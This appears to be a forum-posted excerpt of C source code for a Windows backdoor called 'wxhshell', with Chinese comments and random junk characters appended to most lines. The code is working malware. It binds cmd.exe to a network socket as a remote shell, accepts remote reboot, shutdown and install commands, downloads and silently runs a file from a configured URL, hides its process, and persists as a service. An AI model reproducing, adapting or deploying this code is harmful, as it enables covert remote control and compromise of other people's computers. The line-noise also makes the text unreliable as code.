  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9*"  
  } E,i^rAm  
  else { J""Cgf  
!j!w $  
    switch(cmd[0]) { V^7.@BeT  
  .; MS 78BR  
  // 帮助 }*x1e_m}H  
  case '?': { N*gJu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !W}sOK7#  
    break; >a"J);p  
  } 80nEQT y  
  // 安装 WwmYJl0  
  case 'i': { tZ]gVgZg  
    if(Install()) :Xw|v2z%3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +wi=IrRr  
    else #:6-O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 ZK]}&yC  
    break; ]J Yz(m[   
    } 6Zi{gx  
  // 卸载 +\=g&G,  
  case 'r': { R ]Ev=V'U  
    if(Uninstall()) J v}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0)&!$@HW  
    else #Y5k/NPg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  'z} t= ?  
    break; "7cty\  
    } O84]J:b  
  // 显示 wxhshell 所在路径 j\C6k  
  case 'p': {  /  
    char svExeFile[MAX_PATH]; qO{z{@jo55  
    strcpy(svExeFile,"\n\r"); +tPBm{|  
      strcat(svExeFile,ExeFile); vr;`h/  
        send(wsh,svExeFile,strlen(svExeFile),0); x80IS:TP  
    break; 4  OPY  
    } :^7w  
  // 重启 Lx,=Up.  
  case 'b': { # xtH6\X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3)G~ud  
    if(Boot(REBOOT)) _xKn2?d8g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V 20h\(\\  
    else { /A{ Zf'DI  
    closesocket(wsh); wR%Ta-  
    ExitThread(0); kmC@\xTp  
    } =WTSaC  
    break; 7d;|?R-8D  
    } bYsX?0T!p  
  // 关机 @R&d<^I&M  
  case 'd': { -[=~!Qr:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B=0^Rysg  
    if(Boot(SHUTDOWN)) 4l 67B]o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b,'O|s]"Sc  
    else { C]!2   
    closesocket(wsh); 3E*|^*  
    ExitThread(0); +d3|Up8=  
    } of B:7  
    break; kX8C'D4 gX  
    } -#ZvjEaey  
  // 获取shell /2p*uv }IP  
  case 's': { = wz}yfdrC  
    CmdShell(wsh); Sgi`&;PF  
    closesocket(wsh); B|m)V9A%-  
    ExitThread(0); :8`A  
    break; yCxYFi  
  } \V-N~_-H  
  // 退出 ,iV%{*p]  
  case 'x': { w9'>&W8T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T]tP!a;K  
    CloseIt(wsh); 'D21A8*N  
    break; WZ-~F/:c%  
    }  W9?* ~!  
  // 离开 6l\5J6x  
  case 'q': { e\6H.9=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *^-AOSVt,  
    closesocket(wsh); kp*v:*  
    WSACleanup(); CzBYH   
    exit(1); x17:~[c']  
    break; E&8Nh J  
        } ov+{<0Q  
  } j:%,lcF  
  } &@lfr623  
33~MP;  
  // 提示信息 s*PKr6X+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "}71z  
} H@(O{ 9Yl;  
  } "AagTFs(i  
RiTL(Yx  
  return; !Q>xVlPVu  
} KkUK" Vc  
8c) eaDu  
// shell模块句柄 N[cIr{XBGN  
int CmdShell(SOCKET sock) j/aJDE(+  
{ JL,Y9G*]s  
STARTUPINFO si; r:sa|+  
ZeroMemory(&si,sizeof(si)); IT NFmD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xuUEJ a&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bv7FZK3  
PROCESS_INFORMATION ProcessInfo; YXp\C"~g  
char cmdline[]="cmd"; WHx #;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Q"L)%)'A  
  return 0; }aOqoi7w  
} 8(Az/@=n  
p l^;'|=M  
// 自身启动模式 uzxwJs'fz  
int StartFromService(void) y CHOg  
{ i1x4$}  
typedef struct NlF*/Rs  
{ "3VX9{'%@  
  DWORD ExitStatus; s O#cJAfuu  
  DWORD PebBaseAddress; z9 0JZA  
  DWORD AffinityMask; <6;M\:Y*T  
  DWORD BasePriority; `]65&hWZL  
  ULONG UniqueProcessId; G$a@}9V  
  ULONG InheritedFromUniqueProcessId; fK:4jl-r  
}   PROCESS_BASIC_INFORMATION; A!GvfmzqIn  
xp1/@Pw?  
PROCNTQSIP NtQueryInformationProcess; O^\:J 2I(  
q5r7 KYH{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hbYstK;]Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hYyIC:PXR  
7[=G;2<  
  HANDLE             hProcess; dm/3{\ 4  
  PROCESS_BASIC_INFORMATION pbi; "yH?df24  
274j7Y'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *i*\ dl  
  if(NULL == hInst ) return 0; 3]1 ! g6  
W'9{2h6u(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J8\l'} ?&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a4uy}@9z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T7i>aM$+  
[<i3l'V/[  
  if (!NtQueryInformationProcess) return 0; N'{Yhx u  
{ (.@bT@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [BdRx`  
  if(!hProcess) return 0; [[_>D M  
|}^u<S8X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *# <%04f  
3VU4E|s>  
  CloseHandle(hProcess); mK TF@DED  
_b>z'4_'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); enxb pq#  
if(hProcess==NULL) return 0; aVHID{Gf Z  
W`LG.`JW  
HMODULE hMod; _ LgP  
char procName[255]; O*+HK1q7  
unsigned long cbNeeded; WyV,(~y  
[ {"x{;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <gX({FA  
D4"<suU|.  
  CloseHandle(hProcess); F+VNrt-  
"< Di  
if(strstr(procName,"services")) return 1; // 以服务启动 k"7ZA>5jk  
1r4NP  
  return 0; // 注册表启动 _3u3b/%J?  
} GYy8kp84  
`tO t+>YWn  
// 主模块 vS ( Y_6  
int StartWxhshell(LPSTR lpCmdLine) nQ'NS  
{ 2OI 0B\  
  SOCKET wsl; 8d1qRCIz  
BOOL val=TRUE; d8 ~%(I9  
  int port=0; %q r,Ssa/  
  struct sockaddr_in door; jB9~'>JY  
^^k9Acd~p  
  if(wscfg.ws_autoins) Install(); !iHC++D  
f3vl=EA4|  
port=atoi(lpCmdLine); t?^!OJ:L  
[Ous|a[)o  
if(port<=0) port=wscfg.ws_port; Qhe<(<^J,  
-1$z=,q'  
  WSADATA data; ( !m6>m2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H #X*OJ  
|gk4X%o6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lV3k4iRH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P1L+Vnfu  
  door.sin_family = AF_INET; E!WlQr:b$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3KeY4b!h  
  door.sin_port = htons(port); ' 8R5 Tl  
n<)A5UB5-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DIP%*b#l$\  
closesocket(wsl); KDf#e3  
return 1; 'b[O-6v  
} O\oRM2^u}  
[".94(qs  
  if(listen(wsl,2) == INVALID_SOCKET) { GaJE(N  
closesocket(wsl); mJ[_q >  
return 1; 7c%dSs6  
} Y[VXx8"p  
  Wxhshell(wsl); < )_#6)z:  
  WSACleanup(); l7<VHz0b  
Mj2Dat`p9  
return 0; ] fA5D)/m<  
qv2J0'd'.  
} 5yJ~ q  
TR `C|TV>  
// 以NT服务方式启动 { /8s`m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hit )mwfYE  
{ Q?>*h xzoP  
DWORD   status = 0; ;Hp78!#,  
  DWORD   specificError = 0xfffffff; 9N2.:<so  
" :[;}f;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wpNb/U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P3a]*>.,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RZ9_*Lq7+  
  serviceStatus.dwWin32ExitCode     = 0; -EU=R_yg  
  serviceStatus.dwServiceSpecificExitCode = 0; \O~WMN  
  serviceStatus.dwCheckPoint       = 0; )$pqe|,  
  serviceStatus.dwWaitHint       = 0; 31]Vo;D  
3+ C;zDKa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <h~uGBS"  
  if (hServiceStatusHandle==0) return; W=#jtU`:5  
8@6*d.+e  
status = GetLastError(); ?<OyJ|;V  
  if (status!=NO_ERROR) !QqVJ a{j  
{ ^|!\IzDp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8H3O6ro  
    serviceStatus.dwCheckPoint       = 0; )wEXCXr!  
    serviceStatus.dwWaitHint       = 0; hA`9[58/  
    serviceStatus.dwWin32ExitCode     = status; FELW?Q?k  
    serviceStatus.dwServiceSpecificExitCode = specificError; gaU^l73 ,C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rdX;  
    return; $ Fy)+<  
  } &k(tDP  
f\:I1y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !_&;#j](  
  serviceStatus.dwCheckPoint       = 0; k6;pi=sYNW  
  serviceStatus.dwWaitHint       = 0; ;~}!P7z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :mdoGb$ dr  
} S! .N3ezn  
pQm-Hr78j  
// 处理NT服务事件,比如:启动、停止 CZCVC (/u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AUaupNN  
{ a7]Z_Gk  
switch(fdwControl) n8&x=Z}Xs  
{ `_{,4oi  
case SERVICE_CONTROL_STOP: (B].ppBii  
  serviceStatus.dwWin32ExitCode = 0; fa/p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2bpFQ8q  
  serviceStatus.dwCheckPoint   = 0; &{x`K4N  
  serviceStatus.dwWaitHint     = 0; h*mKS -TC  
  { H|cxy?iJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZZ].h2= K  
  } wY7+E/  
  return; / DS T|2  
case SERVICE_CONTROL_PAUSE: g^k=z:n3,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mZ#IP  
  break; K$ |!IXs  
case SERVICE_CONTROL_CONTINUE: e" p5hpl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @])}+4D(S  
  break; x=44ITe1n[  
case SERVICE_CONTROL_INTERROGATE: =ZARJ40L  
  break; gL wNHS  
}; M3q7{w*bM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 95-%>?4  
} %U&ztvR0C  
YZ5[# E@l  
// 标准应用程序主函数 9OM&&Ue<E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qlhm:[  
{ &. "ltB  
rK cr1VFy  
// 获取操作系统版本 /_/Z/D!  
OsIsNt=GetOsVer(); + oNr c.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A@I3:V  
ko T: r  
  // 从命令行安装 4' <y  
  if(strpbrk(lpCmdLine,"iI")) Install(); RS  Vt  
`qr.@0whP  
  // 下载执行文件 :j% B(@b  
if(wscfg.ws_downexe) { ._}Dqg$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2v1dSdX,W  
  WinExec(wscfg.ws_filenam,SW_HIDE); R&1 xZFj  
} -<q@0IYyi  
Zq\ p%AU9  
if(!OsIsNt) { _K|?;j#x0k  
// 如果时win9x,隐藏进程并且设置为注册表启动 coc :$Sr%  
HideProc(); {:BY IdX  
StartWxhshell(lpCmdLine); Y@V6/D} 1  
} \!'K#%]9  
else b]5S9^=LI  
  if(StartFromService()) \W})Z72  
  // 以服务方式启动 0XrOOYmx  
  StartServiceCtrlDispatcher(DispatchTable); * uZ'MS  
else y O?52YO  
  // 普通方式启动 !EO 2  
  StartWxhshell(lpCmdLine); B7BikxUa  
.[X"+i\  
return 0; Ix|^c268o<  
}
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只看该作者 1 发表于: 2006-10-10
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